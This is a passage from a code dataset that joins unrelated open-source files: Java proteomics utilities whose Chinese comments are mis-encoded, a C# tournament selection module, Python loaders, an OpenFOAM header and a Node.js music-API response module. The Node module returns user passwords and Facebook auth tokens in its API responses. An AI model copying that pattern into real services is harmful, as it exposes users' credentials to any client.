(sb.length() > 0 && modifiedAminoacids.indexOf(sb.charAt(sb.length() - 1)) != -1) { sb.append('*'); } } return sb.toString(); } public static double getPeptidePI(String sequence) { String pureSeq = getPurePeptideSequence(sequence); return IsoelectricPointCalculator.getPI(pureSeq); } public static boolean isModified(String sequence) { final String matchSequence = getMatchPeptideSequence(sequence); for (int j = 0; j < matchSequence.length(); j++) { final char aa = matchSequence.charAt(j); if ((aa >= 'A' && aa <= 'Z') || (aa >= 'a' && aa <= 'z')) { continue; } return true; } return false; } public static <E extends IIdentifiedPeptide, F extends IIdentifiedPeptideHit<E>> Map<String, List<E>> getScanPeptideMap( List<F> peptides) { Map<String, List<E>> result = new HashMap<String, List<E>>(); for (F peptide : peptides) { String experimentFilename = peptide.getPeakListInfo().getExperiment() + "." + peptide.getPeakListInfo().getFirstScan() + "." + peptide.getPeakListInfo().getLastScan() + "." + peptide.getPeakListInfo().getCharge(); result.put(experimentFilename, new ArrayList<E>(peptide.getPeptides())); } return result; } /** * ÒòΪIdentifiedPeptideÁбíÖУ¬»áÓжà¸öscan¼ø¶¨µ½Í¬Ò»¸öëĶΡ£ ¸Ãº¯ÊýÊÇÖ»±£Áôͬһ¸öëĶζÔÓ¦µÄÒ»¸öscan£¬ÒÔ±ãͳ¼Æ¡£ÕâÀȥ³ý * Ò»¸öscan¶ÔÓ¦µÄ¶à¸öëĶβ»ÄÜÓÃgetUnduplicatedPeptides·½Ê½¡£ * ÒòΪ¿ÉÄÜ»áÓÐscan_A¶ÔÓ¦ëĶÎX,Y£¬scan_BÖ»¶ÔÓ¦Y£¬ÕâÀXºÍYÍùÍù * Ö»ÊÇQºÍKµÄ²î±ð¡£Ëùνscan_BÖ»¶ÔÓ¦Y£¬ÊÂʵÉÏXÊÇÅÅÃûµÚ¶þ룬µ«¼ÆËã * DeltaCnʱ£¬¿¼ÂǵÄÊǵÚÒ»ºÍµÚÈýµÄDeltaCn£¬X±»ºöÂÔ¡£¶ÔÓÚunique * ëĶΣ¬Ó¦¸ÃÖ»±£ÁôY¡£Èô°´ÕÕgetUnduplicatedPeptides£¬Ôòscan_A ¶ÔÓ¦X£¬scan_B¶ÔÓ¦Y£¬¾ÍÊÇÁ½¸öunique * peptideÁË¡£ * * ÕâÀÎÒÃDzÉÓ÷½Ê½ÊÇ£¬ÏȰÑËùÓÐscan¶ÔÓ¦µÄpeptide¾ÛÔÚÒ»Æð¡£È»ºó¸ù¾Ý * ëĶÎÐòÁжÔscan½øÐÐmap£¬ÓÅÏȱ£ÁôÒ»¸öscan¶ÔÓ¦¶à¸öpeptideµÄ½á¹û¡£Õâ * Ñù£¬ÐòÁÐXºÍY¶¼»á¶ÔÓ¦µ½scan_AÉÏ£¬¶ø²»ÊÇscan_BÉÏ£¬¼´Ê¹scan_B³öÏÖÔÚ scan_AÇ°Ãæ¡£×îºó£¬Ã¿¸öscanÖ»±£ÁôÒ»¸öpeptide¡£ * * @param peptides * List * @return List */ public static <E extends IIdentifiedPeptide, F extends IIdentifiedPeptideHit<E>> List<E> getUniquePeptides( List<F> peptides) { final Map<String, List<E>> map = getScanPeptideMap(peptides); final Map<String, List<E>> sequencePeptideMap = new HashMap<String, List<E>>(); for (List<E> pepList : map.values()) { if (pepList.size() == 1 && sequencePeptideMap.containsKey(pepList.get(0).getSequence())) { continue; } for (E peptide : pepList) { sequencePeptideMap.put(peptide.getSequence(), pepList); } } ArrayList<E> result = new ArrayList<E>(); final Set<List<E>> pepSet = new HashSet<List<E>>(sequencePeptideMap .values()); for (List<E> pepList : pepSet) { result.add(pepList.get(0)); } Collections.sort(result, new IdentifiedPeptideComparator<E>()); return result; } public static <E extends IIdentifiedPeptide, F extends IIdentifiedPeptideHit<E>> List<E> getUnduplicatedPeptides( List<F> pephits) { ArrayList<E> result = new ArrayList<E>(); for (F pephit : pephits) { result.add(pephit.getPeptide(0)); } return result; } public static <E extends IIdentifiedPeptideHit> List<E> getSubset( List<E> source, IFilter<IIdentifiedPeptideHit> filter) { List<E> result = new ArrayList<E>(); for (E hit : source) { if (filter.accept(hit)) { result.add(hit); } } return result; } public static <E extends IIdentifiedPeptideHit> Set<String> getFilenames( List<E> pephits) { Set<String> result = new HashSet<String>(); for (E peptide : pephits) { result.add(peptide.getPeptide(0).getPeakListInfo().getLongFilename()); } return result; } public static boolean isModified(String matchPeptide, int index) { if (index < 0 || index >= matchPeptide.length()) { throw new IllegalArgumentException("Index " + index + " out of bound, peptide = " + matchPeptide); } return Character.isLetter(matchPeptide.charAt(index)) && (index < matchPeptide.length() - 1) && !Character.isLetter(matchPeptide.charAt(index + 1)); } public static void merge(String[] oldFilenames, String resultFilename) throws Exception { PrintWriter pw = new PrintWriter(resultFilename); try { boolean bFirst = true; for (String filename : oldFilenames) { BufferedReader br = new BufferedReader(new FileReader(filename)); String line = br.readLine(); if (bFirst) { pw.println(line); bFirst = false; } while ((line = br.readLine()) != null) { if (line.length() == 0) { break; } pw.println(line); } } } finally { pw.close(); } } }
shengqh/RcpaBioJava
src/cn/ac/rcpa/bio/proteomics/utils/PeptideUtils.java
Java
gpl-3.0
7,387
using System; using System.Collections.Generic; using System.Linq; using System.Text; using SoftMod.Framework; using SoftMod.Framework.Solution; using SoftMod.Framework.Modules.Comparator; using SoftMod.Framework.RNG; namespace SoftMod.Framework.Modules.Operator { public class TournamentSelection : ModuleBase { /// <summary> /// Tournament selection module, provides ability to select individuals from a population, based upon dominance /// </summary> /// <summary> /// Constructor /// </summary> public TournamentSelection() { // Set tag name moduleType = "TournamentSelection"; // Initialise modules knowledge tome moduleTome = new Tome(moduleType); // Initialise is wrapped to false isWrapped = false; // Initialise default module parameters InitialiseModuleParameters(); } /// <summary> /// Execute modules specific behaviour /// </summary> public override void Execute() { /////////////////////////////////////////////////////////////////// ////////////////////// PATH 1 //////////////////// /////////////////////////////////////////////////////////////////// // Active Input Slots // Active Output Slots // Active Use Slots // //--------------------//---------------------//------------------// // Slot 1 // Slot 1 // - // /////////////////////////////////////////////////////////////////// if ((int)RequestTomeData("getExecutePath", null) == 1) { // Perform all functions associated with this path and the input, output and use module setup /////////////////////////////////////////////////////////////////////// //////////////////////////// SETUP DATA /////////////////////////// /////////////////////////////////////////////////////////////////////// // Setup local reference copies to input, and use data slot data // Set inputs ///////////////////////////////////////////////////////// // Set arguments object[] args = new object[1]; args[0] = 1; // Retrieve input slot 1 data object DataObject Input_1 = (DataObject)RequestTomeData("RequestInputData", args); // Set outputs //////////////////////////////////////////////////////// DataObject Output_1 = (DataObject)RequestTomeData("RequestOutputData", args); /////////////////////////////////////////////////////////////////////// ////////////////////// EXECUTE MAIN FUNCTION ////////////////////// /////////////////////////////////////////////////////////////////////// // Perform a binary tournament selection utilizing dominance by rank and crowding distance // Output data slot 1 holds altered data, clear all data Output_1.ClearDataCollection(); // Get tournament round count information int roundCount = (int)moduleTome.getModuleParameter("Rounds"); // Declare list to hold tournament selection round winners List<List<int>> tournamentSets = new List<List<int>>(); // Calculate the number of sets required double tournamentSetNumber = Math.Pow(2, roundCount - 1); // Get number of players for each initial tournament set int playerCount = (int)moduleTome.getModuleParameter("Player Count"); // Declare random number generator RandomNumberGenerator RNG = new RandomNumberGenerator(); // Loop through and fill output data object data collection to value of maxCount while (Output_1.getDataCollection().Count() < Output_1.MaxCount) { // Randomly select parents to fill our tournament list while (tournamentSets.Count < tournamentSetNumber) { // Fill initial tournament sets List<int> set = new List<int>(); // Loop and fill set while (set.Count < playerCount) { // Add random population member, do not allow duplicate parents in any one set (they can occur in other sets however) // Get population member index value int index = (int)RNG.NextDouble(0, Input_1.getDataCollection().Count); // Check set does not contain this parent index if (set.Contains(index)) { // Do nothing and pick again } else { set.Add(index); } } // Add set to collection tournamentSets.Add(set); } // Tournament is now set up run elimination over set number of rounds to get final single parent // Declare list to hold tournament selection root sets List<List<Root>> tournamentRootSets = new List<List<Root>>(); // Using tournament set information create a list with reference to each root member indexed foreach (List<int> set in tournamentSets) { // Declare list to hold actual root objects List<Root> rootSet = new List<Root>(); // loop through each set and get correct root object and pass to list foreach (int index in set) { // Using index get reference of root object and add to collection rootSet.Add(Input_1.getDataCollection()[index].CopyNode()); // <--- copy node, just in case in multiple sets two same parents are used and added to offspring later } // Add this set to collection tournamentRootSets.Add(rootSet); } // Clear tournament sets for selection tournamentSets.Clear(); // Declare ranking object Rank rank = new Rank(); // Declare rank comparator object RankComparator rankComparator = new RankComparator(); // Loop through each round for (int i = 0; i < roundCount; i++) { // Set temporary list to hold round winners List<Root> tempRoundRootWinners = new List<Root>(); // For each tournament set compare by rank and then if more then one winner crowding distance foreach (List<Root> set in tournamentRootSets) { // Rank set individuals rank.AssignRank(set); // Pass set to rank comparator and get set winners (non-dominated) List<Root> rankWinners = rankComparator.Compare(set); // Check whether this set has a count larger then 1 if (rankWinners.Count > 1) { // Then randomly pick a winner from the final set and pass to winners of this round tempRoundRootWinners.Add(rankWinners[(int)RNG.NextDouble(0, rankWinners.Count)]); } else { // Only one winner pass to next round tempRoundRootWinners.Add(rankWinners[0]); } } // Clear tournament root sets collection tournamentRootSets.Clear(); // Check if selection has drawn down to just one individual if (tempRoundRootWinners.Count == 1) { // Pass this individual to output data object Output_1.AddData(tempRoundRootWinners[0]); } else { // Update tournament root sets collection with new round sets while (tempRoundRootWinners.Count > 0) { // Create a new set list and add two winning individuals List<Root> set = new List<Root>(); // Add two winners and remove from collection set.Add(tempRoundRootWinners[0]); tempRoundRootWinners.RemoveAt(0); // Repeat set.Add(tempRoundRootWinners[0]); tempRoundRootWinners.RemoveAt(0); // Add new set to collection tournamentRootSets.Add(set); } } } } // Add output data to output data slot 1 moduleTome.AddOutputData(1, Output_1); } } /// <summary> /// Initialise module specific parameters, add to knowledge tome collection /// </summary> public override void InitialiseModuleParameters() { ////////////////////////////////////////////////////////////////////////// ///////////////////// SET DEFAULT PARAMETERS /////////////////// ////////////////////////////////////////////////////////////////////////// // Ranking and crowding selection is essentially tournament selection with the addition of crowding distance // Define variable to hold the number of individuals held in each tournament set, default is two int playerCount = 2; // Add to module tomes parameter collection moduleTome.AddModuleParameter("Player Count", playerCount); // Define variable to hold the number of rounds that tournament selection is to undergo, each round adds two more tournament sets int rounds = 1; // Add to module tomes parameter collection moduleTome.AddModuleParameter("Rounds", rounds); } } }
cdrwolfe/SoftMod
SoftMod.Framework/Modules/Operator/TournamentSelection.cs
C#
gpl-3.0
11,104
# -*- coding: utf-8 -*- """ HipparchiaServer: an interface to a database of Greek and Latin texts Copyright: E Gunderson 2016-21 License: GNU GENERAL PUBLIC LICENSE 3 (see LICENSE in the top level directory of the distribution) """ import re from collections import defaultdict try: from rich.progress import track except ImportError: track = None from server.formatting.miscformatting import timedecorator from server.formatting.wordformatting import stripaccents """ simple loaders called when HipparchiaServer launches these lists will contain (more or less...) globally available values the main point is to avoid constant calls to the DB for commonly used info """ def buildaugenresdict(authordict: dict) -> dict: """ build lists of author genres: [ g1, g2, ...] do this by corpus and tag it accordingly :param authordict: :return: """ gklist = list() ltlist = list() inlist = list() dplist = list() chlist = list() genresdict = {'gr': gklist, 'lt': ltlist, 'in': inlist, 'dp': dplist, 'ch': chlist} for a in authordict: if authordict[a].genres and authordict[a].genres != '': g = authordict[a].genres.split(',') l = authordict[a].universalid[0:2] genresdict[l] += g for l in ['gr', 'lt', 'in', 'dp', 'ch']: genresdict[l] = list(set(genresdict[l])) genresdict[l] = [re.sub(r'^\s|\s$', '', x) for x in genresdict[l]] genresdict[l].sort() return genresdict def buildworkgenresdict(workdict: dict) -> dict: """ load up the list of work genres: [ g1, g2, ...] this will see heavy use throughout the world of 'views.py' :param workdict: :return: """ gklist = list() ltlist = list() inlist = list() dplist = list() chlist = list() genresdict = {'gr': gklist, 'lt': ltlist, 'in': inlist, 'dp': dplist, 'ch': chlist} for w in workdict: if workdict[w].workgenre and workdict[w].workgenre != '': g = workdict[w].workgenre.split(',') lg = workdict[w].universalid[0:2] genresdict[lg] += g for lg in ['gr', 'lt', 'in', 'dp', 'ch']: genresdict[lg] = list(set(genresdict[lg])) genresdict[lg] = [re.sub(r'^\s|\s$', '', x) for x in genresdict[lg]] genresdict[lg].sort() return genresdict def buildauthorlocationdict(authordict: dict) -> dict: """ build lists of author locations: [ g1, g2, ...] do this by corpus and tag it accordingly :param authordict: :return: """ gklist = list() ltlist = list() inlist = list() dplist = list() chlist = list() locationdict = {'gr': gklist, 'lt': ltlist, 'in': inlist, 'dp': dplist, 'ch': chlist} for a in authordict: if authordict[a].location and authordict[a].location != '': # think about what happens if the location looks like 'Italy, Africa and the West [Chr.]'... loc = authordict[a].location.split(',') lg = authordict[a].universalid[0:2] locationdict[lg] += loc for lg in ['gr', 'lt', 'in', 'dp', 'ch']: locationdict[lg] = list(set(locationdict[lg])) locationdict[lg] = [re.sub(r'\[.*?\]', '', x) for x in locationdict[lg]] locationdict[lg] = [re.sub(r'^\s|\s$', '', x) for x in locationdict[lg]] locationdict[lg].sort() return locationdict def buildworkprovenancedict(workdict: dict) -> dict: """ load up the list of work provenances used in offerprovenancehints() :param workdict: :return: """ gklist = list() ltlist = list() inlist = list() dplist = list() chlist = list() locationdict = {'gr': gklist, 'lt': ltlist, 'in': inlist, 'dp': dplist, 'ch': chlist } for w in workdict: if workdict[w].provenance and workdict[w].provenance != '': loc = workdict[w].provenance.split(',') lg = workdict[w].universalid[0:2] locationdict[lg] += loc for lg in ['gr', 'lt', 'in', 'dp', 'ch']: locationdict[lg] = list(set(locationdict[lg])) locationdict[lg] = [re.sub(r'^\s|\s$', '', x) for x in locationdict[lg]] locationdict[lg].sort() return locationdict @timedecorator def buildkeyedlemmata(listofentries: list) -> defaultdict: """ a list of 140k words is too long to send to 'getlemmahint' without offering quicker access a dict with keys... :param listofentries: :return: """ invals = u'jvσς' outvals = u'iuϲϲ' keyedlemmata = defaultdict(list) if track: iterable = track(listofentries, description='building keyedlemmata', transient=True) else: print('building keyedlemmata', end=str()) iterable = listofentries for e in iterable: try: # might IndexError here... bag = e[0:2] key = stripaccents(bag.translate(str.maketrans(invals, outvals))) try: keyedlemmata[key].append(e) except KeyError: keyedlemmata[key] = [e] except IndexError: pass if track: print('building keyedlemmata', end=str()) return keyedlemmata
e-gun/HipparchiaServer
server/listsandsession/sessiondicts.py
Python
gpl-3.0
4,686
/** * */ package com.fr.design.report.share; import java.util.HashMap; import com.fr.data.impl.EmbeddedTableData; import com.fr.general.GeneralUtils; import com.fr.stable.ArrayUtils; import com.fr.stable.StringUtils; /** * 混淆传入的tabledata * * @author neil * * @date: 2015-3-10-上午10:45:41 */ public class ConfuseTabledataAction { /** * 混淆指定的内置数据集 * * @param info 混淆相关的信息 * @param tabledata 需要混淆的数据集 * */ public void confuse(ConfusionInfo info, EmbeddedTableData tabledata){ int rowCount = tabledata.getRowCount(); String[] keys = info.getConfusionKeys(); for (int j = 0, len = ArrayUtils.getLength(keys); j < len; j++) { if(StringUtils.isEmpty(keys[j])){ continue; } //缓存下已经混淆的数据, 这样相同的原始数据, 混淆出来的结果是一致的. HashMap<Object, Object> cachedValue = new HashMap<Object, Object>(); for (int k = 0; k < rowCount; k++) { Object oriValue = tabledata.getValueAt(k, j); Object newValue; if(cachedValue.containsKey(oriValue)){ newValue = cachedValue.get(oriValue); }else{ newValue = confusionValue(info, j, keys[j], cachedValue, oriValue); cachedValue.put(oriValue, newValue); } tabledata.setValueAt(newValue, k, j); } } } //混淆每一个格子的数据 private Object confusionValue(ConfusionInfo info, int colIndex, String key, HashMap<Object, Object> cachedValue, Object oriValue){ if (info.isNumberColumn(colIndex)){ //如果是数字格式的, 那么就做乘法, eg: 3 * 3, 8 *3..... Number keyValue = GeneralUtils.objectToNumber(key, false); Number oriNumber = GeneralUtils.objectToNumber(oriValue, false); return oriNumber.doubleValue() * keyValue.doubleValue(); } String oriStrValue = GeneralUtils.objectToString(oriValue); if(StringUtils.isEmpty(oriStrValue)){ //如果是空字段, 就默认不混淆. 因为有的客户他就是留了空字段来做一些过滤, 条件属性之类的. return oriStrValue; } //默认其他格式的就做加法, eg: 地区1, 地区2...... return key + cachedValue.size(); } }
fanruan/finereport-design
designer/src/com/fr/design/report/share/ConfuseTabledataAction.java
Java
gpl-3.0
2,273
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | foam-extend: Open Source CFD \\ / O peration | Version: 3.2 \\ / A nd | Web: http://www.foam-extend.org \\/ M anipulation | For copyright notice see file Copyright ------------------------------------------------------------------------------- License This file is part of foam-extend. foam-extend is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. foam-extend is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with foam-extend. If not, see <http://www.gnu.org/licenses/>. \*---------------------------------------------------------------------------*/ #ifndef outletInletFvPatchFieldsFwd_H #define outletInletFvPatchFieldsFwd_H #include "fvPatchField.H" #include "fieldTypes.H" // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // namespace Foam { // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // template<class Type> class outletInletFvPatchField; makePatchTypeFieldTypedefs(outletInlet) // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // } // End namespace Foam // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #endif // ************************************************************************* //
Unofficial-Extend-Project-Mirror/foam-extend-foam-extend-3.2
src/finiteVolume/fields/fvPatchFields/derived/outletInlet/outletInletFvPatchFieldsFwd.H
C++
gpl-3.0
1,891
const constants = require('./../routes/constants.json'); const logger = require('../utils/logger'); const amanda = require('amanda'); const jsonSchemaValidator = amanda('json'); const math = require('mathjs'); const calculatePopularity = popularity => { logger.debug('Calculating popularity'); if (popularity) { return math.round(popularity, 2); } return 0; }; const internalServerError = (reason, response) => { const message = `Unexpected error: ${reason}`; logger.warn(message); return response.status(500).json({ code: 500, message }); }; const unauthorizedError = (reason, response) => { const message = `Unauthorized: ${reason}`; logger.warn(message); response.status(401).json({ code: 401, message }); }; const nonExistentId = (message, response) => { logger.warn(message); response.status(400).json({ code: 400, message }); }; const validateRequestBody = (body, schema) => { logger.info('Validating request'); logger.debug(`Request "${JSON.stringify(body, null, 4)}"`); return new Promise((resolve, reject) => { jsonSchemaValidator.validate(body, schema, error => { if (error) { reject(error); } else { resolve(); } }); }); }; const invalidRequestBodyError = (reasons, response) => { const message = `Request body is invalid: ${reasons[0].message}`; logger.warn(message); return response.status(400).json({ code: 400, message }); }; const entryExists = (id, entry, response) => { logger.info(`Checking if entry ${id} exist`); logger.debug(`Entry: ${JSON.stringify(entry, null, 4)}`); if (!entry) { logger.warn(`No entry with id ${id}`); response.status(404).json({ code: 404, message: `No entry with id ${id}` }); return false; } return true; }; /* Users */ const formatUserShortJson = user => ({ id: user.id, userName: user.userName, href: user.href, images: user.images, }); const formatUserContacts = contacts => (contacts[0] === null) ? [] : contacts.map(formatUserShortJson); // eslint-disable-line const formatUserJson = user => ({ userName: user.userName, password: user.password, fb: { userId: user.facebookUserId, authToken: user.facebookAuthToken, }, firstName: user.firstName, lastName: user.lastName, country: user.country, email: user.email, birthdate: user.birthdate, images: user.images, href: user.href, contacts: formatUserContacts(user.contacts), }); const formatGetUserJson = user => ({ id: user.id, userName: user.userName, password: user.password, fb: { userId: user.facebookUserId, authToken: user.facebookAuthToken, }, firstName: user.firstName, lastName: user.lastName, country: user.country, email: user.email, birthdate: user.birthdate, images: user.images, href: user.href, contacts: formatUserContacts(user.contacts), }); const successfulUsersFetch = (users, response) => { logger.info('Successful users fetch'); return response.status(200).json({ metadata: { count: users.length, version: constants.API_VERSION, }, users: users.map(formatGetUserJson), }); }; const successfulUserFetch = (user, response) => { logger.info('Successful user fetch'); response.status(200).json({ metadata: { count: 1, version: constants.API_VERSION, }, user: formatGetUserJson(user), }); }; const successfulUserCreation = (user, response) => { logger.info('Successful user creation'); response.status(201).json(formatUserJson(user)); }; const successfulUserUpdate = (user, response) => { logger.info('Successful user update'); response.status(200).json(formatUserJson(user)); }; const successfulUserDeletion = response => { logger.info('Successful user deletion'); response.sendStatus(204); }; const successfulUserContactsFetch = (contacts, response) => { logger.info('Successful contacts fetch'); response.status(200).json({ metadata: { count: contacts.length, version: constants.API_VERSION, }, contacts: formatUserContacts(contacts), }); }; const successfulContactAddition = response => { logger.info('Successful contact addition'); response.sendStatus(201); }; const successfulContactDeletion = response => { logger.info('Successful contact deletion'); response.sendStatus(204); }; /* Admins */ const successfulAdminsFetch = (admins, response) => { logger.info('Successful admins fetch'); return response.status(200).json({ metadata: { count: admins.length, version: constants.API_VERSION, }, admins, }); }; const successfulAdminCreation = (admin, response) => { logger.info('Successful admin creation'); response.status(201).json(admin[0]); }; const successfulAdminDeletion = response => { logger.info('Successful admin deletion'); response.sendStatus(204); }; /* Tokens */ const nonexistentCredentials = response => { const message = 'No entry with such credentials'; logger.warn(message); response.status(400).json({ code: 400, message }); }; const inconsistentCredentials = response => { const message = 'There is more than one entry with those credentials'; logger.warn(message); response.status(500).json({ code: 500, message }); }; const successfulTokenGeneration = (result, response) => { logger.info('Successful token generation'); response.status(201).json(result); }; const successfulUserTokenGeneration = (user, token, response) => { const result = { token }; successfulTokenGeneration(result, response); }; const successfulAdminTokenGeneration = (admin, token, response) => { const result = Object.assign( {}, { token, admin: { id: admin.id, userName: admin.userName, }, }); successfulTokenGeneration(result, response); }; /* Artists */ const formatArtistShortJson = artist => ({ id: artist.id, name: artist.name, href: artist.href, images: artist.images, }); const formatArtistJson = artist => ({ id: artist.id, name: artist.name, description: artist.description, href: artist.href, images: artist.images, genres: artist.genres, albums: artist.albums[0] ? artist.albums.map(formatAlbumShortJson) : [], popularity: calculatePopularity(artist.popularity), }); const successfulArtistsFetch = (artists, response) => { logger.info('Successful artists fetch'); return response.status(200).json({ metadata: { count: artists.length, version: constants.API_VERSION, }, artists: artists.map(formatArtistJson), }); }; const successfulArtistCreation = (artist, response) => { logger.info('Successful artist creation'); response.status(201).json(formatArtistJson(artist)); }; const successfulArtistFetch = (artist, response) => { logger.info('Successful artist fetch'); return response.status(200).json({ metadata: { count: 1, version: constants.API_VERSION, }, artist: (formatArtistJson(artist)), }); }; const successfulArtistUpdate = (artist, response) => { logger.info('Successful artist update'); response.status(200).json(formatArtistJson(artist)); }; const successfulArtistDeletion = response => { logger.info('Successful artist deletion'); response.sendStatus(204); }; const successfulArtistFollow = (artist, response) => { logger.info('Successful artist follow'); response.status(201).json(formatArtistJson(artist)); }; const successfulArtistUnfollow = (artist, response) => { logger.info('Successful artist unfollow'); response.status(204).json(formatArtistJson(artist)); }; const successfulArtistTracksFetch = (tracks, response) => { logger.info('Successful tracks fetch'); response.status(200).json({ metadata: { count: tracks.length, version: constants.API_VERSION, }, tracks: tracks.map(formatTrackJson), }); }; /* Albums */ const formatAlbumShortJson = album => ({ id: album.id, name: album.name, href: album.href, images: album.images, }); const formatAlbumJson = album => ({ id: album.id, name: album.name, release_date: album.release_date, href: album.href, popularity: calculatePopularity(album.popularity), artists: album.artists[0] ? album.artists.map(artist => formatArtistShortJson(artist)) : [], tracks: album.tracks[0] ? album.tracks.map(track => formatTrackShortJson(track)) : [], genres: album.genres, images: album.images, }); const successfulAlbumsFetch = (albums, response) => { logger.info('Successful albums fetch'); return response.status(200).json({ metadata: { count: albums.length, version: constants.API_VERSION, }, albums: albums.map(formatAlbumJson), }); }; const successfulAlbumCreation = (album, response) => { logger.info('Successful album creation'); response.status(201).json(formatAlbumJson(album)); }; const successfulAlbumFetch = (album, response) => { logger.info('Successful album fetch'); response.status(200).json({ metadata: { count: 1, version: constants.API_VERSION, }, album: formatAlbumJson(album), }); }; const successfulAlbumUpdate = (album, response) => { logger.info('Successful album update'); response.status(200).json(formatAlbumJson(album)); }; const successfulAlbumDeletion = response => { logger.info('Successful album deletion'); response.sendStatus(204); }; const invalidTrackDeletionFromAlbum = (trackId, albumId, response) => { const message = `Track (id: ${trackId}) does not belong to album (id: ${albumId})`; logger.info(message); response.status(400).json({ code: 400, message }); }; const successfulTrackDeletionFromAlbum = (trackId, albumId, response) => { logger.info(`Successful track (id: ${trackId}) deletion from album (id: ${albumId})`); response.sendStatus(204); }; const successfulTrackAdditionToAlbum = (trackId, album, response) => { logger.info(`Track (id: ${trackId}) now belongs to album (id: ${album.id})`); response.status(200).json(formatAlbumJson(album)); }; /* Tracks */ const formatTrackShortJson = track => ({ id: track.id, name: track.name, href: track.href, }); const formatTrackJson = track => ({ id: track.id, name: track.name, href: track.href, duration: track.duration, popularity: calculatePopularity(track.popularity), externalId: track.external_id, album: track.album ? formatAlbumShortJson(track.album) : {}, artists: track.artists ? track.artists.map(artist => formatArtistShortJson(artist)) : [], }); const successfulTracksFetch = (tracks, response) => { logger.info('Successful tracks fetch'); logger.debug(`Tracks: ${JSON.stringify(tracks, null, 4)}`); return response.status(200).json({ metadata: { count: tracks.length, version: constants.API_VERSION, }, tracks: tracks.map(formatTrackJson), }); }; const successfulTrackCreation = (track, response) => { logger.info('Successful track creation'); logger.debug(`Track: ${JSON.stringify(track, null, 4)}`); response.status(201).json(formatTrackJson(track)); }; const successfulTrackFetch = (track, response) => { logger.info('Successful track fetch'); logger.debug(`Track: ${JSON.stringify(track, null, 4)}`); response.status(200).json({ metadata: { count: 1, version: constants.API_VERSION, }, track: formatTrackJson(track), }); }; const successfulTrackUpdate = (track, response) => { logger.info('Successful track update'); response.status(200).json(formatTrackJson(track)); }; const successfulTrackDeletion = response => { logger.info('Successful track deletion'); response.sendStatus(204); }; const successfulTrackLike = (track, response) => { logger.info('Successful track like'); response.status(201).json(formatTrackJson(track)); }; const successfulTrackDislike = (track, response) => { logger.info('Successful track dislike'); response.status(204).json(formatTrackJson(track)); }; const successfulTrackPopularityCalculation = (rating, response) => { logger.info(`Successful track popularity calculation (rate: ${rating})`); response.status(200).json({ metadata: { count: 1, version: constants.API_VERSION, }, popularity: { rate: rating, }, }); }; const successfulTrackRate = (rate, response) => { logger.info(`Successful track rate: ${rate}`); response.status(201).json({ rate, }); }; /* Playlist */ const formatPlaylistJson = playlist => ({ id: playlist.id, name: playlist.name, href: playlist.href, description: playlist.description, owner: playlist.owner ? formatUserShortJson(playlist.owner) : {}, songs: playlist.tracks ? _formatTracks(playlist.tracks) : [], images: playlist.images ? playlist.images : [], }); const _formatTracks = tracks => { if (tracks.length === 1 && tracks[0] === null) { return []; } return tracks.map(track => formatTrackShortJson(track)); }; const formatPlaylistCreationJson = playlist => ({ id: playlist.id, name: playlist.name, href: playlist.href, description: playlist.description, owner: playlist.owner ? formatUserShortJson(playlist.owner) : {}, }); const successfulPlaylistsFetch = (playlists, response) => { logger.info('Successful playlists fetch'); logger.debug(`Playlists: ${JSON.stringify(playlists, null, 4)}`); return response.status(200).json({ metadata: { count: playlists.length, version: constants.API_VERSION, }, playlists: playlists.map(formatPlaylistJson), }); }; const successfulPlaylistCreation = (playlist, response) => { logger.info('Successful playlist creation'); logger.debug(`Playlist: ${JSON.stringify(playlist, null, 4)}`); response.status(201).json(formatPlaylistCreationJson(playlist)); }; const successfulPlaylistFetch = (playlist, response) => { logger.info('Successful playlist fetch'); response.status(200).json({ metadata: { count: 1, version: constants.API_VERSION, }, playlist: formatPlaylistJson(playlist), }); }; const successfulPlaylistUpdate = (playlist, response) => { logger.info('Successful playlist update'); response.status(200).json(formatPlaylistJson(playlist)); }; const successfulPlaylistDeletion = response => { logger.info('Successful playlist deletion'); response.sendStatus(204); }; const successfulTrackDeletionFromPlaylist = (trackId, playlist, response) => { logger.info(`Successful track (id: ${trackId}) deletion from playlist (id: ${playlist.id})`); response.sendStatus(204); }; const successfulTrackAdditionToPlaylist = (trackId, playlist, response) => { logger.info(`Track (id: ${trackId}) now belongs to playlist (id: ${playlist.id})`); response.status(200).json(formatPlaylistJson(playlist)); }; const successfulAlbumDeletionFromPlaylist = (albumId, playlist, response) => { logger.info(`Successful album (id: ${albumId}) deletion from playlist (id: ${playlist.id})`); response.sendStatus(204); }; const successfulAlbumAdditionToPlaylist = (albumId, playlist, response) => { logger.info(`Album (id: ${albumId}) now belongs to playlist (id: ${playlist.id})`); response.status(200).json(formatPlaylistJson(playlist)); }; module.exports = { internalServerError, unauthorizedError, nonExistentId, validateRequestBody, entryExists, invalidRequestBodyError, successfulUsersFetch, successfulUserFetch, successfulUserCreation, successfulUserUpdate, successfulUserDeletion, successfulUserContactsFetch, successfulContactAddition, successfulContactDeletion, successfulAdminsFetch, successfulAdminCreation, successfulAdminDeletion, nonexistentCredentials, inconsistentCredentials, successfulUserTokenGeneration, successfulAdminTokenGeneration, successfulArtistsFetch, successfulArtistCreation, successfulArtistFetch, successfulArtistUpdate, successfulArtistDeletion, successfulArtistFollow, successfulArtistUnfollow, successfulArtistTracksFetch, successfulAlbumsFetch, successfulAlbumCreation, successfulAlbumFetch, successfulAlbumUpdate, successfulAlbumDeletion, invalidTrackDeletionFromAlbum, successfulTrackDeletionFromAlbum, successfulTrackAdditionToAlbum, successfulTracksFetch, successfulTrackCreation, successfulTrackFetch, successfulTrackUpdate, successfulTrackDeletion, successfulTrackLike, successfulTrackDislike, successfulTrackPopularityCalculation, successfulTrackRate, successfulPlaylistsFetch, successfulPlaylistCreation, successfulPlaylistFetch, successfulPlaylistUpdate, successfulPlaylistDeletion, successfulTrackDeletionFromPlaylist, successfulTrackAdditionToPlaylist, successfulAlbumDeletionFromPlaylist, successfulAlbumAdditionToPlaylist, };
tallerify/shared-server
src/handlers/response.js
JavaScript
gpl-3.0
16,674
